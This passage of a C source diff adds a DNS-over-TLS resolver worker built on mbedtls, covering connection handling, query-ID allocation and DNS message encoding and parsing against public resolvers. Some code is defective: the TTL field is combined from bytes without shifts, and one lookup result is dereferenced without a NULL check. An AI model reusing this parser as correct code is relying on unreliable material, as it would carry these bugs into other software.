ctx->qlist.head; + while (cur != NULL) { + qent = (query_entry_t*)cur->element; + qent->fut.qr = PRNE_RESOLV_QR_FIN; + resolv_disown_qent(qent); + cur = cur->next; + } + + for (i = 0; i < ctx->qid_map.size; i += 1) { + qent = (query_entry_t*)ctx->qid_map.tbl[i].val; + qent->fut.qr = PRNE_RESOLV_QR_FIN; + resolv_disown_qent(qent); + } + + prne_llist_clear(&ctx->qlist); + prne_imap_clear(&ctx->qid_map); +} +#endif + +static size_t resolv_next_pool_ptr (prne_resolv_wkr_ctx_t ctx, const size_t cnt) { + size_t ret = 0; + + if (mbedtls_ctr_drbg_random(ctx->ssl.ctr_drbg, (unsigned char*)&ret, sizeof(size_t)) != 0) { + getrandom(&ret, sizeof(size_t), 0); + } + return ret % cnt; +} + +static uint16_t resolv_next_qid (prne_resolv_wkr_ctx_t ctx) { + uint16_t i, ret; + + for (i = 0; i < UINT16_MAX; i += 1) { + if (mbedtls_ctr_drbg_random(ctx->ssl.ctr_drbg, (unsigned char*)&ret, sizeof(uint16_t)) != 0) { + getrandom(&ret, sizeof(uint16_t), 0); + } + ret = (ret % UINT16_MAX) + 1; + if (prne_imap_lookup(&ctx->qid_map, ret) == NULL) { + return ret; + } + } + + return 0; +} + +static void resolv_close_sck (prne_resolv_wkr_ctx_t ctx, const struct timespec *pause, bool change_srvr) { + size_t i; + query_entry_t *qent; + prne_llist_entry_t *lent; + + // ctx->qid_map -> ctx->qlist + for (i = 0; i < ctx->qid_map.size; i += 1) { + qent = (query_entry_t*)ctx->qid_map.tbl[i].val; + if (qent == NULL) { + continue; + } + + lent = prne_llist_append(&ctx->qlist, qent); + if (lent == NULL) { + qent->fut.qr = PRNE_RESOLV_QR_ERR; + qent->fut.err = errno; + resolv_disown_qent(qent); + } + else { + qent->qid = 0; + qent->qlist_ent = lent; + } + } + prne_imap_clear(&ctx->qid_map); + + prne_shutdown(ctx->dnss_fd[0], SHUT_RDWR); + prne_shutdown(ctx->dnss_fd[1], SHUT_RDWR); + prne_shutdown(ctx->act_dns_fd, SHUT_RDWR); + prne_close(ctx->dnss_fd[0]); + prne_close(ctx->dnss_fd[1]); + prne_close(ctx->act_dns_fd); + ctx->dnss_fd[0] = ctx->dnss_fd[1] = ctx->act_dns_fd = -1; + ctx->read_cnt_len = 0; + ctx->write_cnt_len = 0; + ctx->sckop_to_slot->active = false; + ctx->sck_pfd_slot[0]->pfd.fd = ctx->sck_pfd_slot[1]->pfd.fd = -1; + ctx->ctx_state = RESOLV_CTX_STATE_NONE; + mbedtls_ssl_free(&ctx->ssl.ctx); + mbedtls_ssl_init(&ctx->ssl.ctx); + + if (pause != NULL) { + ctx->err_to_slot->active = true; + ctx->err_to_slot->dur = *pause; + } + if (change_srvr) { + ctx->dnssrv_4.ptr = resolv_next_pool_ptr(ctx, ctx->dnssrv_4.cnt); + ctx->dnssrv_6.ptr = resolv_next_pool_ptr(ctx, ctx->dnssrv_6.cnt); + } +} + +static bool resolv_ensure_conn (prne_resolv_wkr_ctx_t ctx) { + size_t i; + + switch (ctx->ctx_state) { + case RESOLV_CTX_STATE_NONE: { + int optval = 1; + + ctx->dnss_fd[0] = socket(AF_INET6, SOCK_STREAM, 0); + ctx->dnss_fd[1] = socket(AF_INET, SOCK_STREAM, 0); + if (ctx->dnss_fd[0] >= 0) { + setsockopt(ctx->dnss_fd[0], SOL_TCP, TCP_NODELAY, &optval, sizeof(int)); + if (resolv_set_cmn_fd_opt(ctx->dnss_fd[0]) < 0) { + prne_close(ctx->dnss_fd[0]); + ctx->dnss_fd[0] = -1; + } + else { + struct sockaddr_in6 addr; + + memset(&addr, 0, sizeof(addr)); + prne_net_ep_tosin6(ctx->dnssrv_6.arr + ctx->dnssrv_6.ptr, &addr); + connect(ctx->dnss_fd[0], (const struct sockaddr*)&addr, sizeof(addr)); + } + } + if (ctx->dnss_fd[1] >= 0) { + setsockopt(ctx->dnss_fd[1], SOL_TCP, TCP_NODELAY, &optval, sizeof(int)); + if (resolv_set_cmn_fd_opt(ctx->dnss_fd[1]) < 0) { + prne_close(ctx->dnss_fd[1]); + ctx->dnss_fd[1] = -1; + } + else { + struct sockaddr_in addr; + + memset(&addr, 0, sizeof(addr)); + prne_net_ep_tosin4(ctx->dnssrv_4.arr + ctx->dnssrv_4.ptr, &addr); + connect(ctx->dnss_fd[1], (const struct sockaddr*)&addr, sizeof(addr)); + } + } + + if (ctx->dnss_fd[0] < 0 && ctx->dnss_fd[1] < 0) { + ctx->err_to_slot->active = true; + ctx->err_to_slot->dur = RESOLV_RSRC_ERR_PAUSE; + ctx->sckop_to_slot->active = false; + } + else { + ctx->sckop_to_slot->active = true; + ctx->sckop_to_slot->dur = RESOLV_SCK_OP_TIMEOUT; + for (i = 0; i < 2; i += 1) { + ctx->sck_pfd_slot[i]->pfd.fd = ctx->dnss_fd[i]; + ctx->sck_pfd_slot[i]->pfd.events = POLLIN | POLLOUT; + } + + ctx->ctx_state = RESOLV_CTX_STATE_CONN; + } + + return false; + } + case RESOLV_CTX_STATE_CONN: { + int optval; + socklen_t optval_len; + + for (i = 0; i < 2; i += 1) { + assert(ctx->sck_pfd_slot[i]->pfd.fd == ctx->dnss_fd[i]); + if (ctx->sck_pfd_slot[i]->pfd.revents & (POLLHUP | POLLERR | POLLNVAL)) { + prne_close(ctx->dnss_fd[i]); + ctx->dnss_fd[i] = ctx->sck_pfd_slot[i]->pfd.fd = -1; + } + } + if (ctx->dnss_fd[0] < 0 && ctx->dnss_fd[1] < 0) { + ctx->err_to_slot->active = true; + ctx->err_to_slot->dur = RESOLV_CONN_ERR_PAUSE; + ctx->sckop_to_slot->active = false; + ctx->ctx_state = RESOLV_CTX_STATE_NONE; + + return false; + } + + for (i = 0; i < 2; i += 1) { + if (ctx->sck_pfd_slot[i]->pfd.fd < 0) { + continue; + } + + if (ctx->sck_pfd_slot[i]->pfd.revents & (POLLIN | POLLOUT)) { + optval_len = sizeof(optval); + if (getsockopt(ctx->sck_pfd_slot[i]->pfd.fd, SOL_SOCKET, SO_ERROR, &optval, &optval_len) < 0 || optval != 0) { + prne_close(ctx->dnss_fd[i]); + ctx->dnss_fd[i] = ctx->sck_pfd_slot[i]->pfd.fd = -1; + } + else { + ctx->act_dns_fd = ctx->dnss_fd[i]; + ctx->dnss_fd[i] = -1; + break; + } + } + } + + if (ctx->act_dns_fd >= 0) { + for (i = 0; i < 2; i += 1) { + prne_close(ctx->dnss_fd[i]); + ctx->dnss_fd[i] = ctx->sck_pfd_slot[i]->pfd.fd = -1; + } + + if (mbedtls_ssl_setup(&ctx->ssl.ctx, &ctx->ssl.conf) != 0 || mbedtls_ssl_set_hostname(&ctx->ssl.ctx, NULL) != 0) { + resolv_close_sck(ctx, &RESOLV_RSRC_ERR_PAUSE, false); + return false; + } + mbedtls_ssl_set_bio(&ctx->ssl.ctx, &ctx->act_dns_fd, prne_mbedtls_ssl_send_cb, prne_mbedtls_ssl_recv_cb, NULL); + + ctx->sck_pfd_slot[0]->pfd.fd = ctx->act_dns_fd; + ctx->sck_pfd_slot[0]->pfd.events = POLLIN | POLLOUT; + ctx->sckop_to_slot->active = true; + ctx->sckop_to_slot->dur = RESOLV_SCK_OP_TIMEOUT; + ctx->ctx_state = RESOLV_CTX_STATE_HNDSHK; + } + else if (ctx->dnss_fd[0] < 0 && ctx->dnss_fd[1] < 0) { + resolv_close_sck(ctx, &RESOLV_CONN_ERR_PAUSE, true); + } + + return false; + } + case RESOLV_CTX_STATE_HNDSHK: { + assert(ctx->sck_pfd_slot[0]->pfd.fd == ctx->act_dns_fd && ctx->act_dns_fd >= 0); + + if (ctx->sck_pfd_slot[0]->pfd.revents & (POLLERR | POLLNVAL | POLLHUP)) { + resolv_close_sck(ctx, &RESOLV_CONN_ERR_PAUSE, true); + + return false; + } + if (ctx->sck_pfd_slot[0]->pfd.revents & (POLLIN | POLLOUT)) { + switch (mbedtls_ssl_handshake(&ctx->ssl.ctx)) { + case MBEDTLS_ERR_SSL_WANT_READ: + ctx->sck_pfd_slot[0]->pfd.events = POLLIN; + break; + case MBEDTLS_ERR_SSL_WANT_WRITE: + ctx->sck_pfd_slot[0]->pfd.events = POLLOUT; + break; + case 0: + ctx->sck_pfd_slot[0]->pfd.events = POLLIN; + ctx->sckop_to_slot->active = true; + ctx->sckop_to_slot->dur = RESOLV_SCK_IDLE_TIMEOUT; + ctx->ctx_state = RESOLV_CTX_STATE_READY; + + return true; + default: + resolv_close_sck(ctx, &RESOLV_CONN_ERR_PAUSE, true); + + return false; + } + } + + return false; + } + case RESOLV_CTX_STATE_READY: + return true; + } + +#ifdef PRNE_DEBUG + abort(); +#endif + return false; +} + +static const uint8_t* resolv_index_labels (prne_imap_t *map, const uint8_t *start, const uint8_t *end, const uint8_t *p) { + uint16_t ptr; + const prne_imap_tuple_t *tpl; + + if (p >= end) { + return NULL; + } + + while (*p != 0 && p < end) { + if ((p[0] & 0xC0) == 0xC0) { + // met pointer. don't go further. + ptr = ((uint16_t)p[0] << 8) | (uint16_t)p[1]; + tpl = prne_imap_lookup(map, ptr); + if (tpl == NULL) { + return NULL; + } + return p + 2; + } + else if (*p > 63) { + return NULL; + } + else { + // index the label + ptr = (uint16_t)(p - start) | 0xC000; + prne_imap_insert(map, ptr, (void*)p); + p += *p + 1; + } + } + + return p + 1; +} + +static int resolv_mapped_qname_cmp (prne_imap_t *map, const uint8_t *p_msg, const char *name) { + uint16_t ptr; + const prne_imap_tuple_t *tpl; + int ret; + + do { + if ((p_msg[0] & 0xC0) == 0xC0) { + // deref the pointer + ptr = ((uint16_t)p_msg[0] << 8) | (uint16_t)p_msg[1]; + tpl = prne_imap_lookup(map, ptr); + if (tpl == NULL) { + ret = -1; + break; + } + p_msg = (const uint8_t*)tpl->val; + } + else { + if (*p_msg != *name) { + ret = 0; + break; + } + if (*p_msg == 0 || *name == 0) { + ret = 1; + break; + } + p_msg += 1; + name += 1; + } + } while (true); + + return ret; +} + +static bool resolv_proc_dns_msg (prne_resolv_wkr_ctx_t ctx, const uint8_t *data, const size_t len, bool *err_flag) { + typedef struct { + const void *p; + size_t len; + uint32_t ttl; + } data_tuple_t; + data_tuple_t *tpl; + prne_resolv_qr_t qr; + int err = 0, cmp_ret; + const char *qname; + uint_fast16_t qid, status, ancount, rtype, rclass, rdlen, ttype; + uint_fast32_t ttl; + prne_imap_t ptr_map; // val in msg(uint8_t):(uint8_t*)real addr + prne_llist_t data_list; + query_entry_t *qent; + const uint8_t *end = data + len, *p, *p_name; + size_t i; + bool ret; + + if (len < 12) { + *err_flag = true; + return false; + } + *err_flag = false; + + qr = PRNE_RESOLV_QR_NONE; + status = 0; + ttype = 0; + prne_init_imap(&ptr_map); + prne_init_llist(&data_list); + + // ID + { + const prne_imap_tuple_t *tpl; + + qid = ((uint16_t)data[0] << 8) | (uint16_t)data[1]; + tpl = prne_imap_lookup(&ctx->qid_map, qid); + ret = tpl != NULL; + if (ret) { + qent = (query_entry_t*)tpl->val; + if (qent != NULL) { + switch (qent->type) { + case PRNE_RESOLV_QT_A: ttype = 1; break; + case PRNE_RESOLV_QT_AAAA: ttype = 28; break; + case PRNE_RESOLV_QT_TXT: ttype = 16; break; + default: abort(); + } + } + } + else { + qent = NULL; + } + prne_imap_erase(&ctx->qid_map, qid); + } + // QR + if ((data[2] & 0x80) == 0) { + qr = PRNE_RESOLV_QR_PRO_ERR; + *err_flag = true; + goto END; + } + // Opcode + if ((data[2] & 0x78) != 0) { + qr = PRNE_RESOLV_QR_PRO_ERR; + *err_flag = true; + goto END; + } + // AA - don't care + // RCODE + status = data[3] & 0x0F; + if (status != 0) { + qr = PRNE_RESOLV_QR_STATUS; + goto END; + } + // TC + if ((data[2] & 0x02) != 0) { + qr = PRNE_RESOLV_QR_IMPL; + goto END; + } + // QDCOUNT + if ((((uint_fast16_t)data[4] << 8) | (uint_fast16_t)data[5]) != 1) { + qr = PRNE_RESOLV_QR_PRO_ERR; + *err_flag = true; + goto END; + } + // ANCOUNT + ancount = ((uint_fast16_t)data[6] << 8) | (uint_fast16_t)data[7]; + + // decode question + if (len < 12 + 1 + 4) { // min msg with 1 QDCOUNT length + qr = PRNE_RESOLV_QR_PRO_ERR; + *err_flag = true; + goto END; + } + qname = (const char *)data + 12; + p = resolv_index_labels(&ptr_map, data, end, (const uint8_t*)qname); + if (p == NULL) { + qr = PRNE_RESOLV_QR_PRO_ERR; + *err_flag = true; + goto END; + } + if ((size_t)(p - data + 4) > len) { + qr = PRNE_RESOLV_QR_PRO_ERR; + *err_flag = true; + goto END; + } + if (qent != NULL && strcmp(qname, qent->qname) != 0) { + qr = PRNE_RESOLV_QR_PRO_ERR; + *err_flag = true; + goto END; + } + rtype = ((uint_fast16_t)p[0] << 8) | (uint_fast16_t)p[1]; + rclass = ((uint_fast16_t)p[2] << 8) | (uint_fast16_t)p[3]; + if (rclass != 1) { + qr = PRNE_RESOLV_QR_PRO_ERR; + *err_flag = true; + goto END; + } + if (ttype != 0 && ttype != rtype) { + qr = PRNE_RESOLV_QR_PRO_ERR; + *err_flag = true; + goto END; + } + + p += 4; + // decode answer RRs + for (i = 0; i < ancount; i += 1) { + p_name = p; + p = resolv_index_labels(&ptr_map, data, end, p); + if (p == NULL || p >= end || end - p < 10) { + qr = PRNE_RESOLV_QR_PRO_ERR; + *err_flag = true; + goto END; + } + rtype = ((uint_fast16_t)p[0] << 8) | (uint_fast16_t)p[1]; + rclass = ((uint_fast16_t)p[2] << 8) | (uint_fast16_t)p[3]; + ttl = ((uint_fast32_t)p[4]) | ((uint_fast32_t)p[5]) | ((uint_fast32_t)p[6]) | ((uint_fast32_t)p[7]); + rdlen = ((uint_fast16_t)p[8] << 8) | (uint_fast16_t)p[9]; + + cmp_ret = resolv_mapped_qname_cmp(&ptr_map, p_name, qname); + if (cmp_ret < 0) { + qr = PRNE_RESOLV_QR_PRO_ERR; + *err_flag = true; + goto END; + } + if (cmp_ret && ttype != 0 && ttype == rtype && rclass == 1) { + if ((qent->type == PRNE_RESOLV_QT_A && rdlen != 4) || + (qent->type == PRNE_RESOLV_QT_AAAA && rdlen != 16) || + (qent->type == PRNE_RESOLV_QT_TXT && rdlen == 0)) { + qr = PRNE_RESOLV_QR_PRO_ERR; + *err_flag = true; + goto END; + } + + tpl = (data_tuple_t*)prne_malloc(sizeof(data_tuple_t), 1); + if (tpl == NULL || prne_llist_append(&data_list, tpl) == NULL) { + prne_free(tpl); + qr = PRNE_RESOLV_QR_ERR; + err = errno; + goto END; + } + tpl->p = p + 10; + tpl->len = rdlen; + tpl->ttl = ttl; + } + p += 10 + rdlen; + } + + if (data_list.size > 0 && qent != NULL) { + prne_llist_entry_t *cur; + data_tuple_t *tpl = NULL; + + qent->fut.rr = (prne_resolv_rr_t*)prne_malloc(sizeof(prne_resolv_rr_t), data_list.size); + if (qent->fut.rr == NULL) { + qr = PRNE_RESOLV_QR_ERR; + err = errno; + goto END; + } + qent->fut.rr_cnt = data_list.size; + for (i = 0; i < qent->fut.rr_cnt; i += 1) { + prne_init_resolv_rr(qent->fut.rr + i); + } + + i = 0; + cur = data_list.head; + while (cur != NULL) { + tpl = (data_tuple_t*)cur->element; + qent->fut.rr[i].rr_class = 1; + qent->fut.rr[i].rr_type = ttype; + qent->fut.rr[i].rr_ttl = tpl->ttl; + if (tpl->len > 0) { + qent->fut.rr[i].name = resolv_qname_tostr(qent->qname); + assert(qent->fut.rr[i].name != NULL); + qent->fut.rr[i].rd_data = (uint8_t*)prne_malloc(1, tpl->len); + if (qent->fut.rr[i].rd_data == NULL) { + qr = PRNE_RESOLV_QR_ERR; + err = errno; + goto END; + } + qent->fut.rr[i].rd_len = tpl->len; + memcpy(qent->fut.rr[i].rd_data, tpl->p, tpl->len); + } + else { + qent->fut.rr[i].rd_data = NULL; + qent->fut.rr[i].rd_len = 0; + } + + i += 1; + cur = cur->next; + } + } + + qr = PRNE_RESOLV_QR_OK; + +END: + if (data_list.size > 0) { + prne_llist_entry_t *cur; + + cur = data_list.head; + while (cur != NULL) { + prne_free(cur->element); + cur = cur->next; + } + } + prne_free_llist(&data_list); + prne_free_imap(&ptr_map); + if (qent != NULL) { + if (qr != PRNE_RESOLV_QR_OK) { + for (i = 0; i < qent->fut.rr_cnt; i += 1) { + prne_free_resolv_rr(qent->fut.rr + i); + } + prne_free(qent->fut.rr); + qent->fut.rr = NULL; + qent->fut.rr_cnt = 0; + } + qent->fut.qr = qr; + qent->fut.err = err; + qent->fut.status = status; + resolv_disown_qent(qent); + } + + return ret; +} + +static size_t resolv_calc_dot_msg_len (query_entry_t *qent) { + return 2/*DoT head*/ + 12/*msg head*/ + qent->qname_size + 4/*QCLASS, QTYPE*/; +} + +static void resolv_write_dns_msg (query_entry_t *qent, uint8_t *mem) { + // ID + mem[0] = (uint8_t)((qent->qid & 0xFF00) >> 8); + mem[1] = (uint8_t)(qent->qid & 0x00FF); + // QR: 0, Opcode: 0, AA:0, TC: 0, RD: 1, RA: 0, Z: 0, RCODE: 0 + mem[2] = 0x01; + mem[3] = 0x00; + // QDCOUNT: 1 + mem[4] = 0x00; + mem[5] = 0x01; + // ANCOUNT, NSCOUNT, ARCOUNT: 0 + mem[6] = mem[7] = mem[8] = mem[9] = mem[10] = mem[11] = 0x00; + + // QNAME + memcpy(mem + 12, qent->qname, qent->qname_size); + // QTYPE + switch (qent->type) { + case PRNE_RESOLV_QT_A: + mem[qent->qname_size + 12] = 0x00; + mem[qent->qname_size + 13] = 0x01; + break; + case PRNE_RESOLV_QT_AAAA: + mem[qent->qname_size + 12] = 0x00; + mem[qent->qname_size + 13] = 0x1C; + break; + case PRNE_RESOLV_QT_TXT: + mem[qent->qname_size + 12] = 0x00; + mem[qent->qname_size + 13] = 0x10; + break; + default: abort(); + } + // QCLASS: IN + mem[qent->qname_size + 14] = 0x00; + mem[qent->qname_size + 15] = 0x01; +} + +static bool resolv_send_dns_msgs (prne_resolv_wkr_ctx_t ctx) { + prne_llist_entry_t *cur; + query_entry_t *qent; + size_t dot_msg_len, dns_msg_len; + uint16_t qid; + bool ret = false; + + cur = ctx->qlist.head; + while (cur != NULL && ctx->qid_map.size < RESOLV_PIPELINE_SIZE) { + qent = (query_entry_t*)cur->element; + + dot_msg_len = resolv_calc_dot_msg_len(qent); + dns_msg_len = dot_msg_len - 2; + if (dot_msg_len + ctx->write_cnt_len <= sizeof(ctx->write_buf)) { + qid = resolv_next_qid(ctx); + if (qid == 0) { + qent->fut.qr = PRNE_RESOLV_QR_ERR; + qent->fut.err = 0; + prne_llist_erase(&ctx->qlist, qent->qlist_ent); + resolv_disown_qent(qent); + + return ret; + } + + if (prne_imap_insert(&ctx->qid_map, qid, qent) == NULL) { + qent->fut.err = errno; + qent->fut.qr = PRNE_RESOLV_QR_ERR; + prne_llist_erase(&ctx->qlist, cur); + resolv_disown_qent(qent); + + return ret; + } + else { + cur = prne_llist_erase(&ctx->qlist, cur); + + ctx->write_buf[ctx->write_cnt_len + 0] = (uint8_t)((dns_msg_len & 0xFF00) >> 8); + ctx->write_buf[ctx->write_cnt_len + 1] = (uint8_t)(dns_msg_len & 0x00FF); + qent->qid = qid; + resolv_write_dns_msg(qent, ctx->write_buf + ctx->write_cnt_len + 2); + + ctx->write_cnt_len += dot_msg_len; + ret |= true; + } + } + else { + break; + } + } + + return ret; +} + +static void resolv_proc_q (prne_resolv_wkr_ctx_t ctx) { + bool proc = false; // true if any meaningful message has been processed. + int ret; + + if (ctx->ctx_state == RESOLV_CTX_STATE_READY) { + assert(ctx->act_dns_fd >= 0); + assert(ctx->act_dns_fd == ctx->sck_pfd_slot[0]->pfd.fd); + + if (ctx->sck_pfd_slot[0]->pfd.revents & (POLLERR | POLLHUP | POLLNVAL)) { + resolv_close_sck(ctx, &RESOLV_CONN_ERR_PAUSE, true); + return; + } + if (ctx->sck_pfd_slot[0]->pfd.revents & POLLIN) { + size_t pos, msg_len; + bool err_flag = false; + + ret = mbedtls_ssl_read(&ctx->ssl.ctx, ctx->read_buf + ctx->read_cnt_len, sizeof(ctx->read_buf) - ctx->read_cnt_len); + if (ret <= 0) { + // we don't renegotiate with terrorists. + resolv_close_sck(ctx, &RESOLV_CONN_ERR_PAUSE, true); + return; + } + ctx->read_cnt_len += (size_t)ret; + + pos = 0; + while (true) { + if (pos + 1 >= ctx->read_cnt_len) { + break; + } + msg_len = ((size_t)ctx->read_buf[pos] << 8) | (size_t)ctx->read_buf[pos + 1]; + if (msg_len > 512) { // unimplemented. +#ifdef PRNE_DEBUG + fprintf(stderr, "* [resolv_wkr] Protocol error: received %zu bytes long msg. Dropping connection!\n", msg_len); +#endif + // try to get qid + if (ctx->read_cnt_len > pos + 4) { + const uint16_t qid = ((uint_fast16_t)ctx->read_buf[pos + 2] << 8) | (uint_fast16_t)ctx->read_buf[pos + 3]; + const prne_imap_tuple_t *tpl = prne_imap_lookup(&ctx->qid_map, qid); + + if (tpl->val != NULL) { + query_entry_t *qent = (query_entry_t*)tpl->val; + qent->fut.qr = PRNE_RESOLV_QR_IMPL; + resolv_disown_qent(qent); + } + prne_imap_erase(&ctx->qid_map, qid); + } + resolv_close_sck(ctx, &RESOLV_CONN_ERR_PAUSE, true); + return; + } + if (pos + 1 + msg_len >= ctx->read_cnt_len) { + break; + } + + proc |= resolv_proc_dns_msg(ctx, ctx->read_buf + pos + 2, msg_len, &err_flag); + if (err_flag) { + resolv_close_sck(ctx, &RESOLV_CONN_ERR_PAUSE, true); + return; + } + pos += 2 + msg_len; + } + if (pos > 0) { + memmove(ctx->read_buf, ctx->read_buf + pos, ctx->read_cnt_len - pos); + ctx->read_cnt_len -= pos; + } + } + } + + if (ctx->qlist.size > 0 || ctx->write_cnt_len > 0) { + if (!resolv_ensure_conn(ctx)) { + return; + } + + if ((ctx->sck_pfd_slot[0]->pfd.revents & POLLOUT) && ctx->write_cnt_len > 0) { + ret = mbedtls_ssl_write(&ctx->ssl.ctx, ctx->write_buf, ctx->write_cnt_len); + if (ret <= 0) { + // we don't renegotiate with terrorists. + resolv_close_sck(ctx, &RESOLV_CONN_ERR_PAUSE, true); + return; + } + + memmove(ctx->write_buf, ctx->write_buf + (size_t)ret, ctx->write_cnt_len - (size_t)ret); + ctx->write_cnt_len -= (size_t)ret; + } + if (ctx->write_cnt_len == 0) { + proc |= resolv_send_dns_msgs(ctx); + } + + if (ctx->write_cnt_len > 0 || (0 < ctx->qlist.size && ctx->qid_map.size < RESOLV_PIPELINE_SIZE)) { + ctx->sck_pfd_slot[0]->pfd.events = POLLIN | POLLOUT; + } + else { + ctx->sck_pfd_slot[0]->pfd.events = POLLIN; + } + } + + if (proc) { + if (ctx->qlist.size == 0 && ctx->qid_map.size == 0 && + ctx->read_cnt_len == 0 && ctx->write_cnt_len == 0) { + ctx->sckop_to_slot->dur = RESOLV_SCK_IDLE_TIMEOUT; + } + else { + ctx->sckop_to_slot->dur = RESOLV_SCK_OP_TIMEOUT; + } + } +} + +static bool resolv_proc_close (prne_resolv_wkr_ctx_t ctx) { + assert(ctx->ctx_state == RESOLV_CTX_STATE_CLOSING); + + if (ctx->sck_pfd_slot[0]->pfd.revents & (POLLERR | POLLHUP | POLLNVAL)) { + resolv_close_sck(ctx, &RESOLV_CONN_ERR_PAUSE, true); + return false; + } + if (ctx->sck_pfd_slot[0]->pfd.revents) { + switch (mbedtls_ssl_close_notify(&ctx->ssl.ctx)) { + case MBEDTLS_ERR_SSL_WANT_READ: + ctx->sck_pfd_slot[0]->pfd.events = POLLIN; + return false; + case MBEDTLS_ERR_SSL_WANT_WRITE: + ctx->sck_pfd_slot[0]->pfd.events = POLLOUT; + return false; + case 0: + resolv_close_sck(ctx, NULL, false); + return true; + default: + resolv_close_sck(ctx, &RESOLV_CONN_ERR_PAUSE, true); + return false; + } + } + + return false; +} + +static void resolv_proc_expired (prne_resolv_wkr_ctx_t ctx) { + prne_llist_entry_t *cur; + query_entry_t *qent; + + cur = ctx->qlist.head; + while (cur != NULL) { + qent = (query_entry_t*)cur->element; + + if (qent->to_slot != NULL && qent->to_slot->reached) { + qent->fut.qr = PRNE_RESOLV_QR_TIMEOUT; + cur = prne_llist_erase(&ctx->qlist, cur); + resolv_disown_qent(qent); + } + else { + cur = cur->next; + } + } +} + +static void resolv_wkr_free (void *p) { + DECL_CTX_PTR(p); + + prne_free_wkr_timeout_slot(ctx->sckop_to_slot); + prne_free_wkr_timeout_slot(ctx->err_to_slot); + prne_free_wkr_pollfd_slot(ctx->evt_pfd_slot); + prne_free_wkr_pollfd_slot(ctx->sck_pfd_slot[0]); + prne_free_wkr_pollfd_slot(ctx->sck_pfd_slot[1]); + prne_free(ctx->dnssrv_4.arr); + prne_free(ctx->dnssrv_6.arr); + prne_free_llist(&ctx->qlist); + prne_free_imap(&ctx->qid_map); + mbedtls_ssl_config_free(&ctx->ssl.conf); + mbedtls_ssl_free(&ctx->ssl.ctx); + + prne_close(ctx->evtfd[0]); + prne_close(ctx->evtfd[1]); + + prne_free(ctx); +} + +static void resolv_wkr_fin (void *p) { + DECL_CTX_PTR(p); + + assert(ctx->wkr_state == RESOLV_WKR_STATE_OK); + ctx->wkr_state = RESOLV_WKR_STATE_FIN_CALLED; +} + +static void resolv_wkr_work (void *p, const prne_wkr_tick_info_t *tick_info) { + DECL_CTX_PTR(p); + + assert(ctx->wkr_state != RESOLV_WKR_STATE_FINALISED); + assert((ctx->evt_pfd_slot->pfd.revents & (POLLERR | POLLHUP | POLLNVAL)) == 0); + + if (ctx->evt_pfd_slot->pfd.revents & POLLIN) { + uint8_t rubbish; + + if (read(ctx->evtfd[0], &rubbish, 1) < 0) { + prne_die_not_nonblock_err(); + } + } + + resolv_proc_expired(ctx); + + if (ctx->err_to_slot->active) { + if (ctx->err_to_slot->reached) { + ctx->err_to_slot->active = false; + } + else { + return; + } + } + + if (ctx->sckop_to_slot->active && ctx->sckop_to_slot->reached) { + if (ctx->ctx_state == RESOLV_CTX_STATE_READY) { + ctx->ctx_state = RESOLV_CTX_STATE_CLOSING; + ctx->sckop_to_slot->dur = RESOLV_SCK_CLOSE_TIMEOUT; + ctx->sck_pfd_slot[0]->pfd.fd = ctx->act_dns_fd; + ctx->sck_pfd_slot[0]->pfd.events = POLLIN | POLLOUT; + return; + } + else { + resolv_close_sck(ctx, NULL, true); + } + } + if (ctx->ctx_state == RESOLV_CTX_STATE_CLOSING && !resolv_proc_close(ctx)) { + return; + } + + resolv_proc_q(ctx); + if (ctx->wkr_state == RESOLV_WKR_STATE_FIN_CALLED && ctx->qid_map.size == 0 && ctx->qlist.size == 0) { + if (ctx->ctx_state == RESOLV_CTX_STATE_READY) { + ctx->ctx_state = RESOLV_CTX_STATE_CLOSING; + ctx->sckop_to_slot->dur = RESOLV_SCK_CLOSE_TIMEOUT; + ctx->sck_pfd_slot[0]->pfd.fd = ctx->act_dns_fd; + ctx->sck_pfd_slot[0]->pfd.events = POLLIN | POLLOUT; + } + else { + ctx->wkr_state = RESOLV_WKR_STATE_FINALISED; + resolv_close_sck(ctx, NULL, false); + ctx->evt_pfd_slot->pfd.fd = -1; + ctx->err_to_slot->active = false; + } + } +} + +prne_resolv_wkr_ctx_t prne_alloc_resolv_worker (prne_worker_t *w, prne_wkr_sched_req_t *wsr, mbedtls_ctr_drbg_context *ctr_drbg) { + prne_resolv_wkr_ctx_t ctx = NULL; + + if (wsr == NULL || ctr_drbg == NULL) { + errno = EINVAL; + return NULL; + } + + ctx = (prne_resolv_wkr_ctx_t)prne_malloc(sizeof(struct prne_resolv_wkr_ctx), 1); + if (ctx == NULL) { + return NULL; + } + ctx->dnss_fd[0] = ctx->dnss_fd[1] = -1; + ctx->evtfd[0] = ctx->evtfd[1] = -1; + ctx->read_cnt_len = 0; + ctx->write_cnt_len = 0; + ctx->wsr = wsr; + ctx->sckop_to_slot = prne_alloc_wkr_timeout_slot(wsr); + ctx->err_to_slot = prne_alloc_wkr_timeout_slot(wsr); + ctx->evt_pfd_slot = prne_alloc_wkr_pollfd_slot(wsr); + ctx->sck_pfd_slot[0] = prne_alloc_wkr_pollfd_slot(wsr); + ctx->sck_pfd_slot[1] = prne_alloc_wkr_pollfd_slot(wsr); + ctx->act_dns_fd = -1; + ctx->ctx_state = RESOLV_CTX_STATE_NONE; + ctx->ssl.ctr_drbg = ctr_drbg; + prne_init_llist(&ctx->qlist); + prne_init_imap(&ctx->qid_map); + mbedtls_ssl_config_init(&ctx->ssl.conf); + mbedtls_ssl_init(&ctx->ssl.ctx); + if (ctx->sckop_to_slot == NULL || + ctx->err_to_slot == NULL || + ctx->evt_pfd_slot == NULL || + ctx->sck_pfd_slot[0] == NULL || + ctx->sck_pfd_slot[1] == NULL) { + goto ERR; + } + + ctx->dnssrv_4.arr = NULL; + ctx->dnssrv_6.arr = NULL; + ctx->dnssrv_4.cnt = 8; + ctx->dnssrv_6.cnt = 8; + ctx->dnssrv_4.ptr = resolv_next_pool_ptr(ctx, ctx->dnssrv_4.cnt); + ctx->dnssrv_6.ptr = resolv_next_pool_ptr(ctx, ctx->dnssrv_6.cnt); + ctx->dnssrv_4.arr = prne_malloc(sizeof(prne_net_endpoint_t), ctx->dnssrv_4.cnt); + ctx->dnssrv_6.arr = prne_malloc(sizeof(prne_net_endpoint_t), ctx->dnssrv_6.cnt); + if (ctx->dnssrv_4.arr == NULL || ctx->dnssrv_6.arr == NULL) { + goto ERR; + } + // IPv4 servers + // Google + prne_true_or_die(prne_net_ep_set_ipv4("8.8.8.8", 853, ctx->dnssrv_4.arr + 0)); + prne_true_or_die(prne_net_ep_set_ipv4("8.8.4.4", 853, ctx->dnssrv_4.arr + 1)); + // Cloudflare + prne_true_or_die(prne_net_ep_set_ipv4("1.1.1.1", 853, 